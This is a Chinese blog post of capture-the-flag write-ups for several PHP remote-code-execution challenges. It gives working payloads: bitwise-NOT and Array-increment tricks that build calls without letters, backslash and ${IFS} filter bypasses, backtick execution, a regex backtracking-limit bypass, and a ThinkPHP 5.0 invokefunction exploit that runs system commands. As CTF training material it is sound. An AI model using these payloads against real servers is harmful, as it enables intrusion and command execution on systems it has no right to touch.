无题
[SWPUCTF 2021 新生赛]hardrce
1  | <?php  | 
无字母数字rce,没有过滤()和~,考虑取反绕过
由于是eval函数,传入的字符串要是php代码
1  | <?php  | 
得到:%8C%86%8C%8B%9A%92
%93%8C%DF%D0
/?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

发现flllllaaaaaaggggggg
1  | <?php  | 
payload:?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[SWPUCTF 2021 新生赛]finalrce

exec函数从PHP脚本中调用外部命令行程序,执行成功时返回命令执行结果的最后一行输出
黑名单中过滤了一些函数和关键字的同时还过滤了’la’,在读取flag时可能要考虑通配符绕过
exec无回显,采用tee命令保留结果,没有过滤反斜杠,利用反斜杠绕过ls
?url=l\s /|tee 1.txt;
管道符|将ls命令的输出作传递给后一个命令作为输入,tee命令将输入同时输出到终端并写入1.txt文件中

要获取flllllaaaaaaggggggg,由于cat被过滤,采用\绕过
?url=ca\t /flllll\aaaaaaggggggg|tee 111.txt;

[UUCTF 2022 新生赛]ez_rce

eval无回显,另外sys被过滤,采用反引号命令执行
payload:
1  | ?code=print(`l\s /`);  | 

发现fffffffffflagafag
1  | ?code=print(`c\at /fffffffffflagafag`);  | 

[SWPUCTF 2022 新生赛]ez_rce
进来只有一句话:真的什么都没有吗?
dirsearch扫描

存在robots
访问发现
1  | User-agent: *  | 
访问

phpthink 5.0版本RCE漏洞,从网上找poc
参考:https://blog.csdn.net/youuzi/article/details/132237232
1  | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/  | 

1  | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)  | 
find / -name flag 为查找根目录和子目录下名为flag的文件,$()也会执行括号内的命令

[MoeCTF 2021]babyRCE

没过滤ls,查看一下

?rce=c\at${IFS}fl\ag.php
空格绕过:${IFS},反斜杠绕过关键字

[NISACTF 2022]middlerce

正则\w匹配了所有字母数字以及下划线,并匹配了波浪线反引号制表符等等,只能利用正则回溯绕过preg_match,即在回溯超过1000000次之后,该函数自动返回false
可以看到else内是对传入的参数进行json解码,传入时应符合json模式
1  | import requests  | 
另外如果不使用?><?=而采用:
1  | payload = '{"cmd":"<?php echo `tail /f*`; ?>","test":"' + "@" * 1000002 + '"}'  | 
会显示差一点点,所以只能用上面的形式
运行脚本即可获得flag
[HNCTF 2022 Week1]Challenge__rce
f12,注释部分提示传hint参数,传进去后看到源码

无字母rce,过滤了~和^无法使用取反和异或运算,能利用的有以下字符
1  | $()+,.0123456789;=[]_{}  | 
根据php特性将字符与数组强行链接时,会返回字符串“Array”,取其中的字符并通过自增运算可以拼接命令
参考:https://www.nssctf.cn/note/set/4919
构造出chr后获取构造$_GET[],传入1,2两个参数,之后传参执行命令
1  | $_[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);  | 
url编码
1  | $_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b  | 
最终payload
url:
1  | .../?hint=1&1=system&2=cat /f*  | 
post:
1  | rce=$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b  | 

